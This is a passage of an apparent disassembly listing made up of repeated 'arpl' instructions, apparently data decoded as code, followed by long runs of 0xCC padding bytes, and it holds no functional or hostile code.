[edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx arpl [edx+ecx*8+49h], bx ; --------------------------------------------------------------------------- db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 